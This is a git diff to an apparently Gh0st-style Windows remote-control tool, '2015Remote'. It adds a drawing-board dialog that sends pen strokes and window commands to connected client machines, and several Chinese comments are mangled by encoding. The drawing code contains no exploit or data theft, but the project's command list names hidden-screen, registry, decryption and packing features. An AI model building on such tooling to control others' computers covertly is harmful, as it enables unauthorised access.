diff --git a/common/commands.h b/common/commands.h index 9255f1d..14d5602 100644 --- a/common/commands.h +++ b/common/commands.h @@ -233,6 +233,7 @@ enum TOKEN_BITMAPINFO_HIDE, // 虚拟屏幕 TOKEN_SCREEN_SIZE, // 屏幕大小 TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件) + TOKEN_DRAWING_BOARD=151, // 画板 TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 @@ -432,6 +433,17 @@ enum FileManager { TOKEN_FILE_SEARCHPLUS_NUMBER, }; +// 远程画板 +enum RemoteDraw { + CMD_DRAW_POINT = 0, + CMD_DRAW_END = 1, + CMD_TRANSPORT = 2, + CMD_TOPMOST = 3, + CMD_MOVEWINDOW = 4, + CMD_SET_SIZE = 5, + CMD_DRAW_CLEAR = 6, +}; + enum { CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 23c6012..8df84d8 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index aff87dc..8dcea39 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -38,6 +38,7 @@ #include "adapter.h" #include "client/MemoryModule.h" #include +#include "CDrawingBoard.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -385,6 +386,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog) ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog) ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog) + ON_MESSAGE(WM_OPENDRAWINGBOARD, OnOpenDrawingBoard) ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) @@ -1811,6 +1813,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) ContextObject->Destroy(); break; } + case TOKEN_DRAWING_BOARD: + { + g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject); + break; + } case TOKEN_DRIVE_LIST_PLUGIN: // 鏂囦欢绠$悊 { g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject); @@ -2135,6 +2142,11 @@ LRESULT CMy2015RemoteDlg::OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam) return OpenDialog(wParam, lParam); } +LRESULT CMy2015RemoteDlg::OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam) +{ + return OpenDialog(wParam, lParam); +} + BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) { MessageBox("Copyleft (c) FTU 2025", "鍏充簬"); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index e0b6538..10ed504 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -242,6 +242,7 @@ public: afx_msg LRESULT OnOpenChatDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenDecryptDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenFileMgrDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenDrawingBoard(WPARAM wParam, LPARAM lParam); afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 919214c..a1e3542 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -260,6 +260,7 @@ + @@ -322,6 +323,7 @@ + @@ -380,6 +382,7 @@ + @@ -393,6 +396,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index b572b74..c8031cb 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -49,6 +49,7 @@ file + @@ -110,6 +111,7 @@ + @@ -148,6 +150,8 @@ + + diff --git a/server/2015Remote/CDrawingBoard.cpp b/server/2015Remote/CDrawingBoard.cpp new file mode 100644 index 0000000..ec61261 --- /dev/null +++ b/server/2015Remote/CDrawingBoard.cpp @@ -0,0 +1,218 @@ +锘#include "stdafx.h" +#include "CDrawingBoard.h" +#include "afxdialogex.h" +#include "Resource.h" + +IMPLEMENT_DYNAMIC(CDrawingBoard, CDialog) + +CDrawingBoard::CDrawingBoard(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT* ContextObject) + : DialogBase(IDD_DRAWING_BOARD, pParent, IOCPServer, ContextObject, IDI_ICON_DRAWING), + m_bDrawing(false) +{ + m_bTopMost = true; + m_bTransport = true; + m_bMoving = false; + m_bSizing = false; +} + +CDrawingBoard::~CDrawingBoard() +{ +} + +void CDrawingBoard::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); +} + +BEGIN_MESSAGE_MAP(CDrawingBoard, CDialog) + ON_WM_CLOSE() + ON_WM_SIZE() + ON_WM_PAINT() + ON_WM_LBUTTONDOWN() + ON_WM_MOUSEMOVE() + ON_WM_LBUTTONUP() + ON_WM_WINDOWPOSCHANGED() + ON_COMMAND(ID_DRAWING_TOPMOST, &CDrawingBoard::OnDrawingTopmost) + ON_COMMAND(ID_DRAWING_TRANSPORT, &CDrawingBoard::OnDrawingTransport) + ON_COMMAND(ID_DRAWING_MOVE, &CDrawingBoard::OnDrawingMove) + ON_COMMAND(ID_DRAWING_SIZE, &CDrawingBoard::OnDrawingSize) + ON_COMMAND(ID_DRAWING_CLEAR, &CDrawingBoard::OnDrawingClear) +END_MESSAGE_MAP() + +void CDrawingBoard::OnReceiveComplete() +{ + // 鎺ユ敹鏃跺鐞嗛昏緫锛堟殏绌猴級 +} + +void CDrawingBoard::OnClose() +{ + CancelIO(); + if (IsProcessing()) { + ShowWindow(SW_HIDE); + return; + } + DialogBase::OnClose(); +} + +void CDrawingBoard::OnPaint() +{ + CPaintDC dc(this); + + CPen pen(PS_SOLID, 2, RGB(0, 0, 0)); + CPen* pOldPen = dc.SelectObject(&pen); + + for (const auto& path : m_paths) + { + if (path.size() < 2) continue; + + dc.MoveTo(path[0]); + for (size_t i = 1; i < path.size(); ++i) + dc.LineTo(path[i]); + } + + if (m_bDrawing && m_currentPath.size() >= 2) + { + dc.MoveTo(m_currentPath[0]); + for (size_t i = 1; i < m_currentPath.size(); ++i) + dc.LineTo(m_currentPath[i]); + } + + dc.SelectObject(pOldPen); +} + +void CDrawingBoard::OnLButtonDown(UINT nFlags, CPoint point) +{ + m_bDrawing = true; + m_currentPath.clear(); + m_currentPath.push_back(point); + + SetCapture(); +} + +void CDrawingBoard::OnMouseMove(UINT nFlags, CPoint point) +{ + if (m_bDrawing) + { + m_currentPath.push_back(point); + Invalidate(FALSE); + + // 鍙戦佸綋鍓嶇偣 + BYTE pkg[1 + sizeof(POINT)] = { CMD_DRAW_POINT }; + memcpy(pkg + 1, &point, sizeof(POINT)); + m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg)); + } +} + +void CDrawingBoard::OnLButtonUp(UINT nFlags, CPoint point) +{ + if (m_bDrawing) + { + m_bDrawing = false; + m_currentPath.push_back(point); + ReleaseCapture(); + + m_paths.push_back(m_currentPath); + Invalidate(); + + // 鍙戦佺粨鏉熷懡浠わ紝琛ㄧず褰撳墠璺緞瀹屾垚 + BYTE endCmd = CMD_DRAW_END; + m_ContextObject->Send2Client(&endCmd, 1); + } +} + +void CDrawingBoard::OnWindowPosChanged(WINDOWPOS* lpwndpos) +{ + CDialog::OnWindowPosChanged(lpwndpos); + if (!m_bMoving) return; + + CRect rect; + GetWindowRect(&rect); // 鑾峰彇褰撳墠绐楀彛灞忓箷浣嶇疆 + BYTE pkg[1 + sizeof(CRect)] = { CMD_MOVEWINDOW }; + if (!m_bSizing) { + rect.right = rect.left; + rect.bottom = rect.top; + } + memcpy(pkg + 1, &rect, sizeof(CRect)); + m_ContextObject->Send2Client((BYTE*)pkg, sizeof(pkg)); +} + +void CDrawingBoard::OnSize(UINT nType, int cx, int cy) +{ + CDialog::OnSize(nType, cx, cy); + if (!m_bSizing) return; + + // 鍙戦佹柊鐨勭獥鍙e昂瀵稿埌瀹㈡埛绔 + int sizeData[2] = { cx, cy }; + BYTE pkg[sizeof(sizeData) + 1] = { CMD_SET_SIZE }; + memcpy(pkg + 1, &sizeData, sizeof(sizeData)); + m_ContextObject->Send2Client((PBYTE)pkg, sizeof(pkg)); +} + +void CDrawingBoard::OnDrawingTopmost() +{ + m_bTopMost = !m_bTopMost; + BYTE cmd[2] = { CMD_TOPMOST, m_bTopMost }; + m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd)); + HMENU hMenu = ::GetMenu(this->GetSafeHwnd()); + int n = m_bTopMost ? MF_CHECKED : MF_UNCHECKED; + ::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | n); +} + + +void CDrawingBoard::OnDrawingTransport() +{ + m_bTransport = !m_bTransport; + BYTE cmd[2] = { CMD_TRANSPORT, m_bTransport }; + m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd)); + HMENU hMenu = ::GetMenu(this->GetSafeHwnd()); + int n = m_bTransport ? MF_CHECKED : MF_UNCHECKED; + ::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | n); +} + + +void CDrawingBoard::OnDrawingMove() +{ + m_bMoving = !m_bMoving; + HMENU hMenu = ::GetMenu(this->GetSafeHwnd()); + int cmd = m_bMoving ? MF_CHECKED : MF_UNCHECKED; + ::CheckMenuItem(hMenu, ID_DRAWING_MOVE, MF_BYCOMMAND | cmd); +} + + +void CDrawingBoard::OnDrawingSize() +{ + m_bSizing = !m_bSizing; + HMENU hMenu = ::GetMenu(this->GetSafeHwnd()); + int cmd = m_bSizing ? MF_CHECKED : MF_UNCHECKED; + ::CheckMenuItem(hMenu, ID_DRAWING_SIZE, MF_BYCOMMAND | cmd); +} + + +BOOL CDrawingBoard::OnInitDialog() +{ + DialogBase::OnInitDialog(); + + SetIcon(m_hIcon, TRUE); + SetIcon(m_hIcon, FALSE); + + CString str; + str.Format("%s - 鐢绘澘婕旂ず", m_IPAddress); + SetWindowText(str); + + HMENU hMenu = ::GetMenu(this->GetSafeHwnd()); + ::CheckMenuItem(hMenu, ID_DRAWING_TOPMOST, MF_BYCOMMAND | MF_CHECKED); + ::CheckMenuItem(hMenu, ID_DRAWING_TRANSPORT, MF_BYCOMMAND | MF_CHECKED); + + return TRUE; +} + + +void CDrawingBoard::OnDrawingClear() +{ + m_paths.clear(); + m_currentPath.clear(); + BYTE cmd[2] = { CMD_DRAW_CLEAR, 0 }; + m_ContextObject->Send2Client((PBYTE)cmd, sizeof(cmd)); + if (m_hWnd && IsWindow(m_hWnd)) + ::InvalidateRect(m_hWnd, NULL, TRUE); // 閲嶇粯鏁翠釜绐楀彛锛屾竻闄ょ棔杩 +} diff --git a/server/2015Remote/CDrawingBoard.h b/server/2015Remote/CDrawingBoard.h new file mode 100644 index 0000000..4484044 --- /dev/null +++ b/server/2015Remote/CDrawingBoard.h @@ -0,0 +1,50 @@ +锘#pragma once +#include "IOCPServer.h" +#include "afxwin.h" + +// CDrawingBoard 瀵硅瘽妗 + +class CDrawingBoard : public DialogBase +{ + DECLARE_DYNAMIC(CDrawingBoard) + +public: + CDrawingBoard(CWnd* pParent = nullptr, Server* IOCPServer = NULL, CONTEXT_OBJECT* ContextObject = NULL); + virtual ~CDrawingBoard(); + +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_DRAWING_BOARD }; +#endif + + VOID OnReceiveComplete(); + + afx_msg void OnPaint(); + afx_msg void OnLButtonDown(UINT nFlags, CPoint point); + afx_msg void OnMouseMove(UINT nFlags, CPoint point); + afx_msg void OnLButtonUp(UINT nFlags, CPoint point); + afx_msg void OnWindowPosChanged(WINDOWPOS* lpwndpos); + afx_msg void OnSize(UINT nType, int cx, int cy); + +protected: + virtual void DoDataExchange(CDataExchange* pDX); + + void OnClose(); + + DECLARE_MESSAGE_MAP() + +private: + bool m_bTopMost; // 缃《 + bool m_bTransport; // 鍗婇忔槑 + bool m_bMoving; // 浣嶇疆璺熼殢 + bool m_bSizing; // 澶у皬璺熼殢 + bool m_bDrawing; // 鏄惁姝e湪缁樺浘 + std::vector m_currentPath; // 褰撳墠璺緞鐐 + std::vector> m_paths; // 鎵鏈夎矾寰 +public: + afx_msg void OnDrawingTopmost(); + afx_msg void OnDrawingTransport(); + afx_msg void OnDrawingMove(); + afx_msg void OnDrawingSize(); + virtual BOOL OnInitDialog(); + afx_msg void OnDrawingClear(); +}; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 005ea96..88c74d2 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -566,10 +566,12 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) { assert(ContextObject); // 输出服务端所发送的命令 - if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) { + unsigned cmd = szBuffer[0]; + if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK && + cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) { char buf[100] = { 0 }; if (ulOriginalLength == 1){ - sprintf_s(buf, "command %d", int(szBuffer[0])); + sprintf_s(buf, "command %d", cmd); } else { memcpy(buf, szBuffer, ulOriginalLength); diff --git a/server/2015Remote/res/DrawingBoard.ico b/server/2015Remote/res/DrawingBoard.ico new file mode 100644 index 0000000..89272de Binary files /dev/null and b/server/2015Remote/res/DrawingBoard.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 6402d52..92b2eaa 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 351235a..75f430c 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -80,6 +80,7 @@ #define WM_OPENCHATDIALOG WM_USER+3017 #define WM_OPENDECRYPTDIALOG WM_USER+3018 #define WM_OPENFILEMGRDIALOG WM_USER+3019 +#define WM_OPENDRAWINGBOARD WM_USER+3020 #ifdef _UNICODE #if defined _M_IX86